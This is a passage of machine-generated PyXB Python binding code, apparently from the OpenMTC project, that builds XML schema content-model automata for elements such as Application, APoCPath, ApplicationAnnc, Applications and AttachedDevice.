transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_9, True)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_9, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_9, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_9, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_9, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_9, False)])) st_9._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_10, True)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_10, False)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_10, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_10, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_10, False)])) st_10._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_11, True)])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_11, False)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_11, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_11, False)])) st_11._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_12, True)])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_12, False)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_12, False)])) st_12._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_13, True)])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_13, False)])) st_13._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_14, True)])) st_14._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Application._Automaton = _BuildAutomaton_11() APoCPaths._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'aPoCPath'), APoCPath, scope=APoCPaths, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 52, 4))) def _BuildAutomaton_12(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_12 del _BuildAutomaton_12 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=None, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 48, 12)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(APoCPaths._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'aPoCPath')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 48, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) APoCPaths._Automaton = _BuildAutomaton_12() APoCPath._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'path'), pyxb.binding.datatypes.anyURI, scope=APoCPath, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 62, 4))) APoCPath._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=APoCPath, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) APoCPath._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings, scope=APoCPath, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18, 4))) def _BuildAutomaton_13(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_13 del _BuildAutomaton_13 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 57, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 58, 12)) counters.add(cc_1) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse( APoCPath._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'path')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 56, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(APoCPath._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 57, 12)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(APoCPath._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'searchStrings')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd', 58, 12)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True)])) st_2._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) APoCPath._Automaton = _BuildAutomaton_13() ApplicationAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=ApplicationAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) ApplicationAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'expirationTime'), pyxb.binding.datatypes.dateTime, scope=ApplicationAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16, 4))) ApplicationAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings, scope=ApplicationAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18, 4))) ApplicationAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo, scope=ApplicationAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58, 4))) ApplicationAnnc._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'link'), pyxb.binding.datatypes.anyURI, scope=ApplicationAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 74, 4))) ApplicationAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'groupsReference'), pyxb.binding.datatypes.anyURI, scope=ApplicationAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 77, 4))) ApplicationAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'containersReference'), pyxb.binding.datatypes.anyURI, scope=ApplicationAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 79, 4))) ApplicationAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightsReference'), pyxb.binding.datatypes.anyURI, scope=ApplicationAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 81, 4))) def _BuildAutomaton_14(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_14 del _BuildAutomaton_14 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd', 13, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd', 14, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd', 15, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd', 16, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd', 18, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd', 19, 12)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd', 20, 12)) counters.add(cc_6) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'link')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'searchStrings')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'expirationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd', 15, 12)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'announceTo')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd', 16, 12)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'containersReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd', 18, 12)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'groupsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd', 19, 12)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd', 20, 12)) st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_7) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) transitions.append(fac.Transition(st_7, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False)])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, True)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, False)])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_6, True)])) st_7._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) ApplicationAnnc._Automaton = _BuildAutomaton_14() Applications._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'applicationCollection'), NamedReferenceCollection, scope=Applications, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 23, 4))) Applications._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'applicationAnncCollection'), NamedReferenceCollection, scope=Applications, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 24, 4))) Applications._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=Applications, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) Applications._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=Applications, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) Applications._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=Applications, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) Applications._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=Applications, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) Applications._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'mgmtObjsReference'), pyxb.binding.datatypes.anyURI, scope=Applications, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 84, 4))) def _BuildAutomaton_15(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_15 del _BuildAutomaton_15 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 13, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 14, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 16, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 17, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 18, 12)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 19, 12)) counters.add(cc_6) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Applications._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Applications._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Applications._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Applications._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'applicationCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 16, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Applications._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'applicationAnncCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 17, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(Applications._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 18, 12)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse(Applications._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'mgmtObjsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applications.xsd', 19, 12)) st_6 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_6) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_5, True)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, False)])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_6, True)])) st_6._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Applications._Automaton = _BuildAutomaton_15() AttachedDevice._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=AttachedDevice, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) AttachedDevice._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=AttachedDevice, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) AttachedDevice._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=AttachedDevice, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) AttachedDevice._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=AttachedDevice, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) AttachedDevice._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'mgmtObjsReference'), pyxb.binding.datatypes.anyURI, scope=AttachedDevice, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 84, 4))) def _BuildAutomaton_16(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_16 del _BuildAutomaton_16 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd', 13, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd', 14, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd', 17, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd', 18, 12)) counters.add(cc_4) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(AttachedDevice._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(AttachedDevice._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(AttachedDevice._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/attachedDevice.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(AttachedDevice._UseForTag( 